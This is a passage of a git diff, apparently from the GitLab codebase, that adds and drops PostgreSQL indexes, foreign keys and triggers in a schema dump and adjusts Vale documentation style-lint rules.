CREATE INDEX index_ci_pipeline_schedules_on_next_run_at_and_active ON ci_pipeline_schedules USING btree (next_run_at, active);
CREATE INDEX index_ci_pipeline_schedules_on_owner_id ON ci_pipeline_schedules USING btree (owner_id);
@@ -28871,6 +28966,14 @@ CREATE INDEX index_ci_resources_on_build_id ON ci_resources USING btree (build_i
CREATE UNIQUE INDEX index_ci_resources_on_resource_group_id_and_build_id ON ci_resources USING btree (resource_group_id, build_id);
+CREATE INDEX index_ci_runner_machines_on_contacted_at_desc_and_id_desc ON ci_runner_machines USING btree (contacted_at DESC, id DESC);
+
+CREATE INDEX index_ci_runner_machines_on_created_at_and_id_desc ON ci_runner_machines USING btree (created_at, id DESC);
+
+CREATE UNIQUE INDEX index_ci_runner_machines_on_runner_id_and_machine_xid ON ci_runner_machines USING btree (runner_id, machine_xid);
+
+CREATE INDEX index_ci_runner_machines_on_version ON ci_runner_machines USING btree (version);
+
CREATE INDEX index_ci_runner_namespaces_on_namespace_id ON ci_runner_namespaces USING btree (namespace_id);
CREATE UNIQUE INDEX index_ci_runner_namespaces_on_runner_id_and_namespace_id ON ci_runner_namespaces USING btree (runner_id, namespace_id);
@@ -28893,11 +28996,13 @@ CREATE INDEX index_ci_runners_on_created_at_and_id_where_inactive ON ci_runners
CREATE INDEX index_ci_runners_on_created_at_desc_and_id_desc ON ci_runners USING btree (created_at DESC, id DESC);
+CREATE INDEX index_ci_runners_on_creator_id_where_creator_id_not_null ON ci_runners USING btree (creator_id) WHERE (creator_id IS NOT NULL);
+
CREATE INDEX index_ci_runners_on_description_trigram ON ci_runners USING gin (description gin_trgm_ops);
CREATE INDEX index_ci_runners_on_locked ON ci_runners USING btree (locked);
-CREATE INDEX index_ci_runners_on_runner_type ON ci_runners USING btree (runner_type);
+CREATE INDEX index_ci_runners_on_runner_type_and_id ON ci_runners USING btree (runner_type, id);
CREATE INDEX index_ci_runners_on_token_expires_at_and_id_desc ON ci_runners USING btree (token_expires_at, id DESC);
@@ -28963,6 +29068,8 @@ CREATE INDEX index_ci_triggers_on_project_id ON ci_triggers USING btree (project
CREATE INDEX index_ci_unit_test_failures_on_build_id ON ci_unit_test_failures USING btree (build_id);
+CREATE INDEX index_ci_unit_test_failures_on_partition_id_build_id ON ci_unit_test_failures USING btree (partition_id, build_id);
+
CREATE UNIQUE INDEX index_ci_unit_tests_on_project_id_and_key_hash ON ci_unit_tests USING btree (project_id, key_hash);
CREATE INDEX index_ci_variables_on_key ON ci_variables USING btree (key);
@@ -29299,6 +29406,8 @@ CREATE INDEX index_environments_on_merge_request_id ON environments USING btree
CREATE INDEX index_environments_on_name_varchar_pattern_ops ON environments USING btree (name varchar_pattern_ops);
+CREATE INDEX index_environments_on_project_id_and_id ON environments USING btree (project_id, id);
+
CREATE UNIQUE INDEX index_environments_on_project_id_and_name ON environments USING btree (project_id, name);
CREATE UNIQUE INDEX index_environments_on_project_id_and_slug ON environments USING btree (project_id, slug);
@@ -29383,6 +29492,12 @@ CREATE INDEX index_et_errors_on_project_id_and_status_last_seen_at_id_desc ON er
CREATE INDEX index_events_author_id_project_id_action_target_type_created_at ON events USING btree (author_id, project_id, action, target_type, created_at);
+CREATE INDEX index_events_for_followed_users ON events USING btree (author_id, target_type, action, id);
+
+CREATE INDEX index_events_for_group_activity ON events USING btree (group_id, target_type, action, id) WHERE (group_id IS NOT NULL);
+
+CREATE INDEX index_events_for_project_activity ON events USING btree (project_id, target_type, action, id);
+
CREATE INDEX index_events_on_action ON events USING btree (action);
CREATE INDEX index_events_on_author_id_and_created_at ON events USING btree (author_id, created_at);
@@ -29393,6 +29508,8 @@ CREATE INDEX index_events_on_author_id_and_id ON events USING btree (author_id,
CREATE INDEX index_events_on_created_at_and_id ON events USING btree (created_at, id) WHERE (created_at > '2021-08-27 00:00:00+00'::timestamp with time zone);
+CREATE INDEX index_events_on_group_id_and_id ON events USING btree (group_id, id) WHERE (group_id IS NOT NULL);
+
CREATE INDEX index_events_on_group_id_partial ON events USING btree (group_id) WHERE (group_id IS NOT NULL);
CREATE INDEX index_events_on_project_id_and_created_at ON events USING btree (project_id, created_at);
@@ -29431,8 +29548,6 @@ CREATE UNIQUE INDEX index_fork_networks_on_root_project_id ON fork_networks USIN
CREATE INDEX index_geo_event_log_on_cache_invalidation_event_id ON geo_event_log USING btree (cache_invalidation_event_id) WHERE (cache_invalidation_event_id IS NOT NULL);
-CREATE INDEX index_geo_event_log_on_container_repository_updated_event_id ON geo_event_log USING btree (container_repository_updated_event_id);
-
CREATE INDEX index_geo_event_log_on_geo_event_id ON geo_event_log USING btree (geo_event_id) WHERE (geo_event_id IS NOT NULL);
CREATE INDEX index_geo_event_log_on_hashed_storage_attachments_event_id ON geo_event_log USING btree (hashed_storage_attachments_event_id) WHERE (hashed_storage_attachments_event_id IS NOT NULL);
@@ -29575,6 +29690,8 @@ CREATE INDEX index_group_wiki_repositories_on_shard_id ON group_wiki_repositorie
CREATE INDEX index_groups_on_parent_id_id ON namespaces USING btree (parent_id, id) WHERE ((type)::text = 'Group'::text);
+CREATE INDEX index_groups_on_path_and_id ON namespaces USING btree (path, id) WHERE ((type)::text = 'Group'::text);
+
CREATE INDEX index_historical_data_on_recorded_at ON historical_data USING btree (recorded_at);
CREATE UNIQUE INDEX index_http_integrations_on_active_and_project_and_endpoint ON alert_management_http_integrations USING btree (active, project_id, endpoint_identifier) WHERE active;
@@ -29905,6 +30022,8 @@ CREATE UNIQUE INDEX index_members_on_invite_token ON members USING btree (invite
CREATE INDEX index_members_on_member_namespace_id ON members USING btree (member_namespace_id);
+CREATE INDEX index_members_on_member_namespace_id_compound ON members USING btree (member_namespace_id, type, requested_at, id);
+
CREATE INDEX index_members_on_member_role_id ON members USING btree (member_role_id);
CREATE INDEX index_members_on_requested_at ON members USING btree (requested_at);
@@ -29917,8 +30036,6 @@ CREATE INDEX index_members_on_user_id_and_access_level_requested_at_is_null ON m
CREATE INDEX index_members_on_user_id_created_at ON members USING btree (user_id, created_at) WHERE ((ldap = true) AND ((type)::text = 'GroupMember'::text) AND ((source_type)::text = 'Namespace'::text));
-CREATE INDEX index_members_on_user_id_source_id_source_type ON members USING btree (user_id, source_id, source_type);
-
CREATE INDEX index_merge_request_assignees_on_merge_request_id ON merge_request_assignees USING btree (merge_request_id);
CREATE UNIQUE INDEX index_merge_request_assignees_on_merge_request_id_and_user_id ON merge_request_assignees USING btree (merge_request_id, user_id);
@@ -30141,6 +30258,8 @@ CREATE UNIQUE INDEX index_namespaces_on_parent_id_and_id ON namespaces USING btr
CREATE INDEX index_namespaces_on_path ON namespaces USING btree (path);
+CREATE INDEX index_namespaces_on_path_for_top_level_non_projects ON namespaces USING btree (lower((path)::text)) WHERE ((parent_id IS NULL) AND ((type)::text <> 'Project'::text));
+
CREATE INDEX index_namespaces_on_path_trigram ON namespaces USING gin (path gin_trgm_ops);
CREATE UNIQUE INDEX index_namespaces_on_push_rule_id ON namespaces USING btree (push_rule_id);
@@ -30907,14 +31026,14 @@ CREATE INDEX index_sbom_occurrences_on_component_id ON sbom_occurrences USING bt
CREATE INDEX index_sbom_occurrences_on_component_version_id ON sbom_occurrences USING btree (component_version_id);
-CREATE UNIQUE INDEX index_sbom_occurrences_on_ingestion_attributes ON sbom_occurrences USING btree (project_id, component_id, component_version_id, source_id, commit_sha);
-
CREATE INDEX index_sbom_occurrences_on_pipeline_id ON sbom_occurrences USING btree (pipeline_id);
CREATE INDEX index_sbom_occurrences_on_project_id ON sbom_occurrences USING btree (project_id);
CREATE INDEX index_sbom_occurrences_on_source_id ON sbom_occurrences USING btree (source_id);
+CREATE UNIQUE INDEX index_sbom_occurrences_on_uuid ON sbom_occurrences USING btree (uuid);
+
CREATE UNIQUE INDEX index_sbom_sources_on_source_type_and_source ON sbom_sources USING btree (source_type, source);
CREATE INDEX index_scim_identities_on_group_id ON scim_identities USING btree (group_id);
@@ -31061,6 +31180,8 @@ CREATE INDEX index_ssh_signatures_on_key_id ON ssh_signatures USING btree (key_i
CREATE INDEX index_ssh_signatures_on_project_id ON ssh_signatures USING btree (project_id);
+CREATE INDEX index_ssh_signatures_on_user_id ON ssh_signatures USING btree (user_id);
+
CREATE INDEX index_status_check_responses_on_external_approval_rule_id ON status_check_responses USING btree (external_approval_rule_id);
CREATE INDEX index_status_check_responses_on_external_status_check_id ON status_check_responses USING btree (external_status_check_id);
@@ -31213,6 +31334,14 @@ CREATE INDEX index_uploads_on_store ON uploads USING btree (store);
CREATE INDEX index_uploads_on_uploader_and_path ON uploads USING btree (uploader, path);
+CREATE INDEX index_user_achievements_on_achievement_id_revoked_by_is_null ON user_achievements USING btree (achievement_id, ((revoked_by_user_id IS NULL)));
+
+CREATE INDEX index_user_achievements_on_awarded_by_revoked_by_is_null ON user_achievements USING btree (awarded_by_user_id, ((revoked_by_user_id IS NULL)));
+
+CREATE INDEX index_user_achievements_on_revoked_by_user_id ON user_achievements USING btree (revoked_by_user_id);
+
+CREATE INDEX index_user_achievements_on_user_id_revoked_by_is_null ON user_achievements USING btree (user_id, ((revoked_by_user_id IS NULL)));
+
CREATE INDEX index_user_agent_details_on_subject_id_and_subject_type ON user_agent_details USING btree (subject_id, subject_type);
CREATE INDEX index_user_callouts_on_user_id ON user_callouts USING btree (user_id);
@@ -31267,7 +31396,7 @@ CREATE INDEX index_user_statuses_on_user_id ON user_statuses USING btree (user_i
CREATE UNIQUE INDEX index_user_synced_attributes_metadata_on_user_id ON user_synced_attributes_metadata USING btree (user_id);
-CREATE INDEX index_users_for_active_billable ON users USING btree (id) WHERE (((state)::text = 'active'::text) AND ((user_type IS NULL) OR (user_type = ANY (ARRAY[NULL::integer, 6, 4]))) AND ((user_type IS NULL) OR (user_type <> ALL ('{1,2,3,4,5,6,7,8,9,11}'::smallint[]))));
+CREATE INDEX index_users_for_billable_users ON users USING btree (id) WHERE (((state)::text = 'active'::text) AND ((user_type IS NULL) OR (user_type = ANY (ARRAY[6, 4]))) AND ((user_type IS NULL) OR (user_type = ANY (ARRAY[4, 5]))));
CREATE INDEX index_users_on_accepted_term_id ON users USING btree (accepted_term_id);
@@ -31337,14 +31466,14 @@ COMMENT ON INDEX index_verification_codes_on_phone_and_visitor_id_code IS 'JiHu-
CREATE UNIQUE INDEX index_vuln_historical_statistics_on_project_id_and_date ON vulnerability_historical_statistics USING btree (project_id, date);
+CREATE INDEX index_vuln_reads_common_query_on_resolved_on_default_branch ON vulnerability_reads USING btree (project_id, state, report_type, vulnerability_id DESC) WHERE (resolved_on_default_branch IS TRUE);
+
CREATE INDEX index_vuln_reads_on_casted_cluster_agent_id_where_it_is_null ON vulnerability_reads USING btree (casted_cluster_agent_id) WHERE (casted_cluster_agent_id IS NOT NULL);
CREATE INDEX index_vuln_reads_on_namespace_id_state_severity_and_vuln_id ON vulnerability_reads USING btree (namespace_id, state, severity, vulnerability_id DESC);
CREATE INDEX index_vuln_reads_on_project_id_state_severity_and_vuln_id ON vulnerability_reads USING btree (project_id, state, severity, vulnerability_id DESC);
-CREATE INDEX index_vuln_reads_on_resolved_on_default_branch ON vulnerability_reads USING btree (project_id, state, id) WHERE (resolved_on_default_branch IS TRUE);
-
CREATE INDEX index_vulnerabilities_common_finder_query_on_default_branch ON vulnerabilities USING btree (project_id, state, report_type, present_on_default_branch, severity, id);
CREATE INDEX index_vulnerabilities_on_author_id ON vulnerabilities USING btree (author_id);
@@ -31633,10 +31762,6 @@ CREATE INDEX tmp_idx_for_feedback_comment_processing ON vulnerability_feedback U
CREATE INDEX tmp_idx_for_vulnerability_feedback_migration ON vulnerability_feedback USING btree (id) WHERE ((migrated_to_state_transition = false) AND (feedback_type = 0));
-CREATE INDEX tmp_idx_vulnerabilities_on_id_where_report_type_7_99 ON vulnerabilities USING btree (id) WHERE (report_type = ANY (ARRAY[7, 99]));
-
-CREATE INDEX tmp_idx_where_user_details_fields_filled ON users USING btree (id) WHERE (((COALESCE(linkedin, ''::character varying))::text IS DISTINCT FROM ''::text) OR ((COALESCE(twitter, ''::character varying))::text IS DISTINCT FROM ''::text) OR ((COALESCE(skype, ''::character varying))::text IS DISTINCT FROM ''::text) OR ((COALESCE(website_url, ''::character varying))::text IS DISTINCT FROM ''::text) OR ((COALESCE(location, ''::character varying))::text IS DISTINCT FROM ''::text) OR ((COALESCE(organization, ''::character varying))::text IS DISTINCT FROM ''::text));
-
CREATE INDEX tmp_index_ci_job_artifacts_on_expire_at_where_locked_unknown ON ci_job_artifacts USING btree (expire_at, job_id) WHERE ((locked = 2) AND (expire_at IS NOT NULL));
CREATE INDEX tmp_index_ci_job_artifacts_on_id_expire_at_file_type_trace ON ci_job_artifacts USING btree (id) WHERE (((date_part('day'::text, timezone('UTC'::text, expire_at)) = ANY (ARRAY[(21)::double precision, (22)::double precision, (23)::double precision])) AND (date_part('minute'::text, timezone('UTC'::text, expire_at)) = ANY (ARRAY[(0)::double precision, (30)::double precision, (45)::double precision])) AND (date_part('second'::text, timezone('UTC'::text, expire_at)) = (0)::double precision)) OR (file_type = 3));
@@ -31655,11 +31780,13 @@ CREATE INDEX tmp_index_members_on_state ON members USING btree (state) WHERE (st
CREATE INDEX tmp_index_migrated_container_registries ON container_repositories USING btree (project_id) WHERE ((migration_state = 'import_done'::text) OR (created_at >= '2022-01-23 00:00:00'::timestamp without time zone));
+CREATE INDEX tmp_index_oauth_access_tokens_on_id_where_expires_in_null ON oauth_access_tokens USING btree (id) WHERE (expires_in IS NULL);
+
CREATE INDEX tmp_index_on_vulnerabilities_non_dismissed ON vulnerabilities USING btree (id) WHERE (state <> 2);
CREATE INDEX tmp_index_project_statistics_cont_registry_size ON project_statistics USING btree (project_id) WHERE (container_registry_size = 0);
-CREATE INDEX tmp_index_project_statistics_uploads_size ON project_statistics USING btree (project_id) WHERE (uploads_size <> 0);
+CREATE INDEX tmp_index_vulnerability_overlong_title_html ON vulnerabilities USING btree (id) WHERE (length(title_html) > 800);
CREATE UNIQUE INDEX uniq_pkgs_deb_grp_architectures_on_distribution_id_and_name ON packages_debian_group_architectures USING btree (distribution_id, name);
@@ -31677,6 +31804,8 @@ CREATE UNIQUE INDEX uniq_pkgs_debian_project_distributions_project_id_and_codena
CREATE UNIQUE INDEX uniq_pkgs_debian_project_distributions_project_id_and_suite ON packages_debian_project_distributions USING btree (project_id, suite);
+CREATE UNIQUE INDEX unique_ci_builds_token_encrypted_and_partition_id ON ci_builds USING btree (token_encrypted, partition_id) WHERE (token_encrypted IS NOT NULL);
+
CREATE UNIQUE INDEX unique_merge_request_metrics_by_merge_request_id ON merge_request_metrics USING btree (merge_request_id);
CREATE UNIQUE INDEX unique_projects_on_name_namespace_id ON projects USING btree (name, namespace_id);
@@ -33003,10 +33132,6 @@ CREATE TRIGGER nullify_merge_request_metrics_build_data_on_update BEFORE UPDATE
CREATE TRIGGER projects_loose_fk_trigger AFTER DELETE ON projects REFERENCING OLD TABLE AS old_table FOR EACH STATEMENT EXECUTE FUNCTION insert_into_loose_foreign_keys_deleted_records();
-CREATE TRIGGER sync_namespaces_amount_used_columns BEFORE INSERT OR UPDATE ON ci_namespace_monthly_usages FOR EACH ROW EXECUTE FUNCTION sync_namespaces_amount_used_columns();
-
-CREATE TRIGGER sync_projects_amount_used_columns BEFORE INSERT OR UPDATE ON ci_project_monthly_usages FOR EACH ROW EXECUTE FUNCTION sync_projects_amount_used_columns();
-
CREATE TRIGGER trigger_1a857e8db6cd BEFORE INSERT OR UPDATE ON vulnerability_occurrences FOR EACH ROW EXECUTE FUNCTION trigger_1a857e8db6cd();
CREATE TRIGGER trigger_delete_project_namespace_on_project_delete AFTER DELETE ON projects FOR EACH ROW WHEN ((old.project_namespace_id IS NOT NULL)) EXECUTE FUNCTION delete_associated_project_namespace();
@@ -33086,6 +33211,9 @@ ALTER TABLE ONLY dast_sites
ALTER TABLE ONLY issue_customer_relations_contacts
ADD CONSTRAINT fk_0c0037f723 FOREIGN KEY (issue_id) REFERENCES issues(id) ON DELETE CASCADE;
+ALTER TABLE ONLY ssh_signatures
+ ADD CONSTRAINT fk_0c83baaa5f FOREIGN KEY (user_id) REFERENCES users(id) ON DELETE SET NULL;
+
ALTER TABLE ONLY web_hooks
ADD CONSTRAINT fk_0c8ca6d9d1 FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
@@ -33098,6 +33226,9 @@ ALTER TABLE ONLY lists
ALTER TABLE ONLY ci_unit_test_failures
ADD CONSTRAINT fk_0f09856e1f FOREIGN KEY (build_id) REFERENCES ci_builds(id) ON DELETE CASCADE;
+ALTER TABLE ONLY ci_unit_test_failures
+ ADD CONSTRAINT fk_0f09856e1f_p FOREIGN KEY (partition_id, build_id) REFERENCES ci_builds(partition_id, id) ON DELETE CASCADE;
+
ALTER TABLE ONLY deployment_approvals
ADD CONSTRAINT fk_0f58311058 FOREIGN KEY (user_id) REFERENCES users(id) ON DELETE CASCADE;
@@ -33167,9 +33298,6 @@ ALTER TABLE ONLY coverage_fuzzing_corpuses
ALTER TABLE ONLY namespace_settings
ADD CONSTRAINT fk_20cf0eb2f9 FOREIGN KEY (default_compliance_framework_id) REFERENCES compliance_management_frameworks(id) ON DELETE SET NULL;
-ALTER TABLE ONLY geo_container_repository_updated_events
- ADD CONSTRAINT fk_212c89c706 FOREIGN KEY (container_repository_id) REFERENCES container_repositories(id) ON DELETE CASCADE;
-
ALTER TABLE ONLY ci_build_trace_metadata
ADD CONSTRAINT fk_21d25cac1a FOREIGN KEY (trace_artifact_id) REFERENCES ci_job_artifacts(id) ON DELETE CASCADE;
@@ -33323,6 +33451,9 @@ ALTER TABLE ONLY sbom_occurrences
ALTER TABLE ONLY namespace_commit_emails
ADD CONSTRAINT fk_4d6ba63ba5 FOREIGN KEY (namespace_id) REFERENCES namespaces(id) ON DELETE CASCADE;
+ALTER TABLE ONLY user_achievements
+ ADD CONSTRAINT fk_4efde02858 FOREIGN KEY (user_id) REFERENCES users(id) ON DELETE CASCADE;
+
ALTER TABLE ONLY vulnerability_reads
ADD CONSTRAINT fk_4f593f6c62 FOREIGN KEY (namespace_id) REFERENCES namespaces(id) ON DELETE CASCADE;
@@ -33377,6 +33508,9 @@ ALTER TABLE ONLY csv_issue_imports
ALTER TABLE ONLY project_access_tokens
ADD CONSTRAINT fk_5f7e8450e1 FOREIGN KEY (personal_access_token_id) REFERENCES personal_access_tokens(id) ON DELETE CASCADE;
+ALTER TABLE ONLY user_achievements
+ ADD CONSTRAINT fk_60b12fcda3 FOREIGN KEY (awarded_by_user_id) REFERENCES users(id) ON DELETE SET NULL;
+
ALTER TABLE ONLY merge_requests
ADD CONSTRAINT fk_6149611a04 FOREIGN KEY (assignee_id) REFERENCES users(id) ON DELETE SET NULL;
@@ -33407,9 +33541,6 @@ ALTER TABLE ONLY project_wiki_repository_states
ALTER TABLE ONLY merge_requests
ADD CONSTRAINT fk_6a5165a692 FOREIGN KEY (milestone_id) REFERENCES milestones(id) ON DELETE SET NULL;
-ALTER TABLE ONLY geo_event_log
- ADD CONSTRAINT fk_6ada82d42a FOREIGN KEY (container_repository_updated_event_id) REFERENCES geo_container_repository_updated_events(id) ON DELETE CASCADE;
-
ALTER TABLE ONLY projects
ADD CONSTRAINT fk_6ca23af0a3 FOREIGN KEY (project_namespace_id) REFERENCES namespaces(id) ON DELETE CASCADE;
@@ -33578,9 +33709,6 @@ ALTER TABLE ONLY vulnerability_occurrences
ALTER TABLE ONLY protected_branch_merge_access_levels
ADD CONSTRAINT fk_98f3d044fe FOREIGN KEY (group_id) REFERENCES namespaces(id) ON DELETE CASCADE;
-ALTER TABLE ONLY chat_names
- ADD CONSTRAINT fk_99a1348daf FOREIGN KEY (integration_id) REFERENCES integrations(id) ON DELETE CASCADE;
-
ALTER TABLE ONLY notes
ADD CONSTRAINT fk_99e097b079 FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
@@ -33632,6 +33760,9 @@ ALTER TABLE ONLY lfs_objects_projects
ALTER TABLE ONLY merge_requests
ADD CONSTRAINT fk_a6963e8447 FOREIGN KEY (target_project_id) REFERENCES projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY ssh_signatures
+ ADD CONSTRAINT fk_aa1efbe865 FOREIGN KEY (key_id) REFERENCES keys(id) ON DELETE SET NULL;
+
ALTER TABLE ONLY epics
ADD CONSTRAINT fk_aa5798e761 FOREIGN KEY (closed_by_id) REFERENCES users(id) ON DELETE SET NULL;
@@ -33833,6 +33964,9 @@ ALTER TABLE ONLY agent_activity_events
ALTER TABLE ONLY sbom_vulnerable_component_versions
ADD CONSTRAINT fk_d720a1959a FOREIGN KEY (vulnerability_advisory_id) REFERENCES vulnerability_advisories(id) ON DELETE CASCADE;
+ALTER TABLE ONLY user_achievements
+ ADD CONSTRAINT fk_d7653ef780 FOREIGN KEY (revoked_by_user_id) REFERENCES users(id) ON DELETE SET NULL;
+
ALTER TABLE ONLY metrics_users_starred_dashboards
ADD CONSTRAINT fk_d76a2b9a8c FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
@@ -33947,9 +34081,6 @@ ALTER TABLE ONLY epics
ALTER TABLE ONLY boards
ADD CONSTRAINT fk_f15266b5f9 FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
-ALTER TABLE ONLY ssh_signatures
- ADD CONSTRAINT fk_f177ea6aa5 FOREIGN KEY (key_id) REFERENCES keys(id) ON DELETE CASCADE;
-
ALTER TABLE ONLY ci_pipeline_variables
ADD CONSTRAINT fk_f29c5f4380 FOREIGN KEY (pipeline_id) REFERENCES ci_pipelines(id) ON DELETE CASCADE;
@@ -34061,6 +34192,9 @@ ALTER TABLE ONLY related_epic_links
ALTER TABLE ONLY ci_build_pending_states
ADD CONSTRAINT fk_rails_0bbbfeaf9d FOREIGN KEY (build_id) REFERENCES ci_builds(id) ON DELETE CASCADE;
+ALTER TABLE ONLY ci_build_pending_states
+ ADD CONSTRAINT fk_rails_0bbbfeaf9d_p FOREIGN KEY (partition_id, build_id) REFERENCES ci_builds(partition_id, id) ON DELETE CASCADE;
+
ALTER TABLE ONLY audit_events_external_audit_event_destinations
ADD CONSTRAINT fk_rails_0bc80a4edc FOREIGN KEY (namespace_id) REFERENCES namespaces(id) ON DELETE CASCADE;
@@ -34091,6 +34225,9 @@ ALTER TABLE ONLY merge_request_context_commits
ALTER TABLE ONLY ci_build_trace_chunks
ADD CONSTRAINT fk_rails_1013b761f2 FOREIGN KEY (build_id) REFERENCES ci_builds(id) ON DELETE CASCADE;
+ALTER TABLE ONLY ci_build_trace_chunks
+ ADD CONSTRAINT fk_rails_1013b761f2_p FOREIGN KEY (partition_id, build_id) REFERENCES ci_builds(partition_id, id) ON DELETE CASCADE;
+
ALTER TABLE ONLY vulnerability_exports
ADD CONSTRAINT fk_rails_1019162882 FOREIGN KEY (author_id) REFERENCES users(id) ON DELETE CASCADE;
@@ -34541,6 +34678,9 @@ ALTER TABLE ONLY project_repository_storage_moves
ALTER TABLE ONLY ml_candidate_metadata
ADD CONSTRAINT fk_rails_5117dddf22 FOREIGN KEY (candidate_id) REFERENCES ml_candidates(id) ON DELETE CASCADE;
+ALTER TABLE ONLY elastic_group_index_statuses
+ ADD CONSTRAINT fk_rails_52b9969b12 FOREIGN KEY (namespace_id) REFERENCES namespaces(id) ON DELETE CASCADE;
+
ALTER TABLE ONLY bulk_import_configurations
ADD CONSTRAINT fk_rails_536b96bff1 FOREIGN KEY (bulk_import_id) REFERENCES bulk_imports(id) ON DELETE CASCADE;
@@ -34697,6 +34837,9 @@ ALTER TABLE ONLY operations_feature_flags_clients
ALTER TABLE ONLY namespace_admin_notes
ADD CONSTRAINT fk_rails_666166ea7b FOREIGN KEY (namespace_id) REFERENCES namespaces(id) ON DELETE CASCADE;
+ALTER TABLE ONLY ci_runner_machines
+ ADD CONSTRAINT fk_rails_666b61f04f FOREIGN KEY (runner_id) REFERENCES ci_runners(id) ON DELETE CASCADE;
+
ALTER TABLE ONLY analytics_cycle_analytics_project_value_streams
ADD CONSTRAINT fk_rails_669f4ba293 FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
@@ -34739,6 +34882,9 @@ ALTER TABLE ONLY users_security_dashboard_projects
ALTER TABLE ONLY dast_sites
ADD CONSTRAINT fk_rails_6febb6ea9c FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY analytics_dashboards_pointers
+ ADD CONSTRAINT fk_rails_7027b7eaa9 FOREIGN KEY (namespace_id) REFERENCES namespaces(id) ON DELETE CASCADE;
+
ALTER TABLE ONLY ci_builds_runner_session
ADD CONSTRAINT fk_rails_70707857d3 FOREIGN KEY (build_id) REFERENCES ci_builds(id) ON DELETE CASCADE;
@@ -35291,6 +35437,9 @@ ALTER TABLE ONLY project_wiki_repositories
ALTER TABLE ONLY merge_request_user_mentions
ADD CONSTRAINT fk_rails_c440b9ea31 FOREIGN KEY (note_id) REFERENCES notes(id) ON DELETE CASCADE;
+ALTER TABLE ONLY user_achievements
+ ADD CONSTRAINT fk_rails_c44f5b3b25 FOREIGN KEY (achievement_id) REFERENCES achievements(id) ON DELETE CASCADE;
+
ALTER TABLE ONLY related_epic_links
ADD CONSTRAINT fk_rails_c464534def FOREIGN KEY (source_id) REFERENCES epics(id) ON DELETE CASCADE;
@@ -35576,6 +35725,9 @@ ALTER TABLE ONLY security_orchestration_policy_rule_schedules
ALTER TABLE ONLY dast_pre_scan_verifications
ADD CONSTRAINT fk_rails_f08d9312a8 FOREIGN KEY (dast_profile_id) REFERENCES dast_profiles(id) ON DELETE CASCADE;
+ALTER TABLE ONLY analytics_dashboards_pointers
+ ADD CONSTRAINT fk_rails_f0e7c640c3 FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
+
ALTER TABLE ONLY prometheus_alerts
ADD CONSTRAINT fk_rails_f0e8db86aa FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
diff --git a/doc/.vale/gitlab/GitLabFlavoredMarkdown.yml b/doc/.vale/gitlab/GitLabFlavoredMarkdown.yml
new file mode 100644
index 00000000000..532f1afd816
--- /dev/null
+++ b/doc/.vale/gitlab/GitLabFlavoredMarkdown.yml
@@ -0,0 +1,14 @@
+---
+# Warning: gitlab.GitLabFlavoredMarkdown
+#
+# Checks for unclear use of GLFM or GLM instead of GitLab/GitHub Flavored Markdown
+#
+# For a list of all options, see https://vale.sh/docs/topics/styles/
+extends: substitution
+message: "Use '%s' instead of '%s' when possible."
+link: https://docs.gitlab.com/ee/development/documentation/styleguide/word_list.html
+level: warning
+ignorecase: true
+swap:
+ GLFM: "GitLab Flavored Markdown"
+ GFM: "GitLab Flavored Markdown' or 'GitHub Flavored Markdown"
diff --git a/doc/.vale/gitlab/HeadingDepth.yml b/doc/.vale/gitlab/HeadingDepth.yml
index 7a3e5b4b552..5bbe667481c 100644
--- a/doc/.vale/gitlab/HeadingDepth.yml
+++ b/doc/.vale/gitlab/HeadingDepth.yml
@@ -1,5 +1,5 @@
---
-# Warning: gitlab.HeadingDepth
+# Suggestion: gitlab.HeadingDepth
#
# Checks that there are no headings greater than 3 levels
#
@@ -7,7 +7,7 @@
extends: existence
message: "Refactor the section or page to avoid headings greater than H5."
link: https://docs.gitlab.com/ee/development/documentation/styleguide/index.html#headings-in-markdown
-level: warning
+level: suggestion
scope: raw
raw:
- '(?<=\n)#{5,}\s.*'
diff --git a/doc/.vale/gitlab/SentenceLength.yml b/doc/.vale/gitlab/SentenceLength.yml
index 69b0d27072e..48ebf02bc7f 100644
--- a/doc/.vale/gitlab/SentenceLength.yml
+++ b/doc/.vale/gitlab/SentenceLength.yml
@@ -1,5 +1,5 @@
---
-# Warning: gitlab.SentenceLength
+# Suggestion: gitlab.SentenceLength
#
# Counts words in a sentence and alerts if a sentence exceeds 25 words.
#
@@ -8,6 +8,6 @@ extends: occurrence
message: "Improve readability by using fewer than 25 words in this sentence."
scope: sentence
link: https://docs.gitlab.com/ee/development/documentation/styleguide/index.html#language
-level: warning
+level: suggestion
max: 25
token: \b(\w+)\b
diff --git a/doc/.vale/gitlab/Spelling.yml b/doc/.vale/gitlab/Spelling.yml
index 92c5cb13b29..74d919831ac 100644
--- a/doc/.vale/gitlab/Spelling.yml
+++ b/doc/.vale/gitlab/Spelling.yml
@@ -10,7 +10,7 @@
#
# For a list of all options, see https://vale.sh/docs/topics/styles/
extends: spelling
-message: "Check the spelling of '%s'. If the spelling is correct, add this word to the spelling exception list."
+message: "Check the spelling of '%s'. If the spelling is correct, ask a Technical Writer to add this word to the spelling exception list."
level: warning
ignore:
- gitlab/spelling-exceptions.txt
diff --git a/doc/.vale/gitlab/SubstitutionWarning.yml b/doc/.vale/gitlab/SubstitutionWarning.yml
index 383ae38da16..8f3d3330271 100644
--- a/doc/.vale/gitlab/SubstitutionWarning.yml
+++ b/doc/.vale/gitlab/SubstitutionWarning.yml
@@ -26,10 +26,10 @@ swap:
ex: "for example"
file name: "filename"
filesystem: "file system"
- GLFM: "GitLab Flavored Markdown"
- GFM: "GitLab Flavored Markdown' or 'GitHub Flavored Markdown"
info: "information"
it is recommended: "you should"
+ logged in user: "authenticated user"
+ logged-in user: "authenticated user"
n/a: "not applicable"
navigate to: "go to"
OAuth2: "OAuth 2.0"
@@ -37,6 +37,8 @@ swap:
once the: "after the"
once you: "after you"
repo: "repository"
+ signed in user: "authenticated user"
+ signed-in user: "authenticated user"
since: "because' or 'after"
sub-group: "subgroup"
sub-groups: "subgroups"
diff --git a/doc/.vale/gitlab/TabsLinks.yml b/doc/.vale/gitlab/TabsLinks.yml
new file mode 100644
index 00000000000..97f75046fca
--- /dev/null
+++ b/doc/.vale/gitlab/TabsLinks.yml
